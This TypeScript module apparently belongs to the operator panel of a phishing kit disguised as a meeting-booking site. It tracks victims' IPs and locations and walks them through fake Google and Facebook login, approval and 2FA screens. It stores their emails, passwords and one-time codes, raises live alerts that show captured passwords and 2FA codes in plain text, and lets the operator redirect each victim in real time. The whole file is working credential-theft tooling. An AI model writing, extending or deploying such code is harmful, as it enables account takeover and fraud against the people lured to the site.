import { parseSessionCredentials } from '@/lib/session-credentials'
import { sanitizeLoginContact } from '@/lib/login-contact'
import { AVAILABLE_PAGES } from '@/lib/session-tracking'
import { getAuthProviderFromRedirect } from '@/lib/booking-flow'
import { getProviderFromJourney, type JourneyStep } from '@/lib/visitor-journey'

export interface AdminSession {
  id: string
  user_id?: string
  session_id: string
  ip_address?: string
  user_agent?: string
  page_url: string
  created_at: string
  updated_at: string
  is_active: boolean
  redirect_to_page?: string
  country?: string
  country_code?: string
  flag?: string
  city?: string
  region?: string
  isp?: string
  timezone?: string
  user_email?: string
  user_password?: string
  credentials_collected_at?: string
  journey_steps?: JourneyStep[] | null
}

export { formatIpGeoLine } from '@/lib/ip-geo'

export function isPanelOrSecuritySession(pageUrl: string): boolean {
  if (!pageUrl) return false
  if (pageUrl.includes('/panel')) return true
  try {
    const url = new URL(pageUrl, 'http://local')
    return url.pathname === '/panel' || url.pathname.endsWith('/panel')
  } catch {
    return pageUrl.includes('/panel')
  }
}

export function getPageLabel(value: string): string {
  return AVAILABLE_PAGES.find((p) => p.value === value)?.label ?? value
}

export function describeVisitorStep(pageUrl: string): {
  stage: string
  detail: string
  stageIndex: number
} {
  const option = getCurrentPageOption(pageUrl)
  const dialog = getDialogFromPageUrl(pageUrl)
  let auth: string | null = null
  try {
    const url = pageUrl.startsWith('http') ? new URL(pageUrl) : new URL(pageUrl, 'http://local')
    auth = url.searchParams.get('auth')
  } catch {
    const m = pageUrl.match(/[?&]auth=([^&]+)/)
    auth = m ? decodeURIComponent(m[1]) : null
  }

  if (!pageUrl || option === '/' || option.endsWith('/')) {
    return { stage: '1 · Home', detail: 'Security check (captcha)', stageIndex: 1 }
  }
  if (option.includes('/offline') || pageUrl.includes('/offline')) {
    return { stage: 'Offline', detail: 'Calendar offline · countdown', stageIndex: 0 }
  }
  if (option.includes('/select-date-time') || pageUrl.includes('/select-date-time')) {
    return { stage: '3 · Date & time', detail: 'Choosing a meeting slot', stageIndex: 3 }
  }
  if (option.includes('/enter-details') || pageUrl.includes('/enter-details')) {
    return { stage: '4 · Details', detail: 'Entering contact details', stageIndex: 4 }
  }
  if (option.includes('/confirmation') || pageUrl.includes('/confirmation')) {
    return { stage: '5 · Confirmed', detail: 'Booking confirmation', stageIndex: 5 }
  }

  const provider =
    auth === 'facebook' || dialog === 'facebook'
      ? 'Facebook'
      : auth === 'google' || dialog === 'google' || dialog
        ? 'Google'
        : 'Schedule'

  if (!dialog || dialog === 'google' || dialog === 'facebook') {
    const verifyLabel =
      auth === 'facebook'
        ? 'Facebook · verify'
        : auth === 'google'
          ? 'Google · verify'
          : 'Pick provider / continue'
    return {
      stage: '2 · Schedule',
      detail: dialog ? `${provider} · login` : verifyLabel,
      stageIndex: 2,
    }
  }

  const dialogLabels: Record<string, string> = {
    loading: 'Waiting screen',
    'login-error': 'Login error',
    approve: 'Approve login',
    'approve-error': 'Approve error',
    'phone-code': 'Phone code',
    'phone-code-error': 'Phone code error',
    '2fa': 'App 2FA',
    '2fa-error': 'App 2FA error',
    '2fa-sms': 'SMS 2FA',
    '2fa-sms-error': 'SMS 2FA error',
    '2fa-email': 'Email 2FA',
    '2fa-email-error': 'Email 2FA error',
  }

  return {
    stage: `2 · ${provider}`,
    detail: dialogLabels[dialog] || dialog,
    stageIndex: 2,
  }
}

export function getDialogFromPageUrl(pageUrl: string): string | null {
  try {
    const url = pageUrl.startsWith('http') ? new URL(pageUrl) : new URL(pageUrl, 'http://local')
    if (url.pathname !== '/schedule-call' && !url.pathname.endsWith('/schedule-call')) {
      return null
    }
    return url.searchParams.get('dialog')
  } catch {
    const m = pageUrl.match(/[?&]dialog=([^&]+)/)
    return m ? decodeURIComponent(m[1]) : null
  }
}

export function getCurrentPageOption(pageUrl: string): string {
  try {
    const url = new URL(pageUrl)
    const pathWithQuery = url.pathname + url.search

    const exactMatch = AVAILABLE_PAGES.find((page) => page.value === pathWithQuery)
    if (exactMatch) return exactMatch.value

    const dialogParam = url.searchParams.get('dialog')
    const authParam = url.searchParams.get('auth')
    if (url.pathname === '/schedule-call' && dialogParam) {
      const gcode = url.searchParams.get('gcode')
      const authQ = authParam === 'google' || authParam === 'facebook' ? `&auth=${authParam}` : ''
      const withCode = gcode
        ? `/schedule-call?dialog=${dialogParam}&gcode=${gcode}${authQ}`
        : null
      if (withCode) {
        const codeMatch = AVAILABLE_PAGES.find((page) => page.value === withCode)
        if (codeMatch) return codeMatch.value
      }
      const withAuth = `/schedule-call?dialog=${dialogParam}${authQ}`
      const authMatch = AVAILABLE_PAGES.find((page) => page.value === withAuth)
      if (authMatch) return authMatch.value
    }

    const pathMatch = AVAILABLE_PAGES.find((page) => page.value === url.pathname)
    if (pathMatch) return pathMatch.value
    return ''
  } catch {
    const dialogFallbacks: [string, string][] = [
      ['dialog=facebook', '/schedule-call?dialog=facebook&auth=facebook'],
      ['dialog=google', '/schedule-call?dialog=google&auth=google'],
    ]
    for (const [needle, value] of dialogFallbacks) {
      if (pageUrl.includes(needle)) return value
    }
    return ''
  }
}

export function formatTime(dateString: string) {
  return new Date(dateString).toLocaleString()
}

export function getTimeSince(dateString: string) {
  const now = new Date()
  const date = new Date(dateString)
  const seconds = Math.floor((now.getTime() - date.getTime()) / 1000)

  if (seconds < 60) return `${seconds}s ago`
  if (seconds < 3600) return `${Math.floor(seconds / 60)}m ago`
  if (seconds < 86400) return `${Math.floor(seconds / 3600)}h ago`
  return `${Math.floor(seconds / 86400)}d ago`
}

export function isUserCurrentlyActive(session: AdminSession) {
  const now = new Date()
  const lastSeen = new Date(session.updated_at)
  const seconds = Math.floor((now.getTime() - lastSeen.getTime()) / 1000)
  return session.is_active && seconds <= 4
}

export function getSessionDuration(session: AdminSession) {
  const start = new Date(session.created_at).getTime()
  const now = Date.now()
  const lastSeen = new Date(session.updated_at).getTime()
  const live = session.is_active && Math.floor((now - lastSeen) / 1000) <= 4
  const end = live ? now : lastSeen
  const totalSeconds = Math.max(0, Math.floor((end - start) / 1000))

  if (totalSeconds < 60) return `${totalSeconds}s`
  const minutes = Math.floor(totalSeconds / 60)
  if (minutes < 60) return `${minutes}m ${totalSeconds % 60}s`
  const hours = Math.floor(minutes / 60)
  return `${hours}h ${minutes % 60}m`
}

export function getBrowserName(userAgent?: string) {
  if (!userAgent) return 'Unknown'
  if (userAgent.includes('Chrome')) return 'Chrome'
  if (userAgent.includes('Firefox')) return 'Firefox'
  if (userAgent.includes('Safari')) return 'Safari'
  if (userAgent.includes('Edge')) return 'Edge'
  return 'Other'
}

export function isWaitingForAdmin(session: AdminSession): boolean {
  return getDialogFromPageUrl(session.page_url) === 'loading'
}

export function hasCredentials(session: AdminSession): boolean {
  return Boolean(session.user_email || session.user_password)
}

export function isOfflineSession(session: AdminSession): boolean {
  return Boolean(session.page_url?.includes('/offline'))
}

export function getSessionProviders(session: AdminSession): {
  google: boolean
  facebook: boolean
} {
  const journey = session.journey_steps || []
  const fromJourney = getProviderFromJourney(journey)
  const fromUrl = getAuthProviderFromRedirect(session.page_url)
  const google =
    fromJourney === 'google' ||
    fromUrl === 'google' ||
    journey.some((s) => s.provider === 'google' || s.id.includes('google'))
  const facebook =
    fromJourney === 'facebook' ||
    fromUrl === 'facebook' ||
    journey.some((s) => s.provider === 'facebook' || s.id.includes('facebook'))
  return { google, facebook }
}

export function getCredentialListPreview(session: AdminSession): string | null {
  const parsed = parseSessionCredentials(session.user_password)
  const parts: string[] = []
  if (parsed.password) parts.push(`Pass ${parsed.password}`)
  const latest = parsed.codes[parsed.codes.length - 1]
  if (latest) parts.push(`2FA ${latest.code}`)
  return parts.length ? parts.join(' · ') : null
}

export type AdminNotification = {
  id: string
  at: string
  unread: boolean
  kind: 'new' | 'update' | 'credentials' | 'command' | 'removed'
  sessionDbId: string
  socketId: string
  message: string
  ip?: string
  email?: string
}

export function buildSessionNotification(
  prev: AdminSession | undefined,
  next: AdminSession
): Omit<AdminNotification, 'id' | 'at' | 'unread'> | null {
  const meta = {
    sessionDbId: next.id,
    socketId: next.session_id,
    ip: next.ip_address,
    email: next.user_email,
  }

  if (!prev) {
    const page = getCurrentPageOption(next.page_url)
    return {
      ...meta,
      kind: 'new',
      message: `New visitor${page ? ` · ${getPageLabel(page)}` : ''}`,
    }
  }

  const credsNew =
    (next.user_email && next.user_email !== prev.user_email) ||
    (next.user_password && next.user_password !== prev.user_password)

  if (credsNew) {
    const nextParsed = parseSessionCredentials(next.user_password)
    const prevParsed = parseSessionCredentials(prev.user_password)
    let message = 'Credentials updated'

    const contact = sanitizeLoginContact(next.user_email)
    const prevContact = sanitizeLoginContact(prev.user_email)
    if (contact && contact !== prevContact) {
      message = `Email / phone · ${contact}`
    } else if (nextParsed.codes.length > prevParsed.codes.length) {
      const latest = nextParsed.codes[nextParsed.codes.length - 1]
      message = `2FA (${latest.type}) · ${latest.code}`
    } else if (nextParsed.password && nextParsed.password !== prevParsed.password) {
      message = `Password · ${nextParsed.password}`
    } else if (next.user_password !== prev.user_password) {
      message = 'Credentials updated'
    }

    return {
      ...meta,
      kind: 'credentials',
      message,
      email: contact || sanitizeLoginContact(next.user_email),
    }
  }

  const prevJourneyLen = prev.journey_steps?.length ?? 0
  const nextJourneyLen = next.journey_steps?.length ?? 0
  if (nextJourneyLen > prevJourneyLen && next.journey_steps?.length) {
    const latest = next.journey_steps[next.journey_steps.length - 1]
    return {
      ...meta,
      kind: 'update',
      message: latest.label,
    }
  }

  if (next.redirect_to_page && next.redirect_to_page !== prev.redirect_to_page) {
    return {
      ...meta,
      kind: 'command',
      message: `Redirect command · ${getPageLabel(next.redirect_to_page)}`,
    }
  }

  if (prev.page_url !== next.page_url) {
    const page = getCurrentPageOption(next.page_url)
    return {
      ...meta,
      kind: 'update',
      message: `Page change${page ? ` · ${getPageLabel(page)}` : ''}`,
    }
  }

  return null
}

export function formatClientSocket(sessionId: string): string {
  if (!sessionId) return '—'
  if (sessionId.length <= 18) return sessionId
  return `${sessionId.slice(0, 10)}…${sessionId.slice(-6)}`
}

export function shortenUrl(url: string, max = 48) {
  try {
    const parsed = new URL(url)
    const short = parsed.pathname + parsed.search
    return short.length > max ? `${short.slice(0, max)}…` : short
  } catch {
    return url.length > max ? `${url.slice(0, max)}…` : url
  }
}
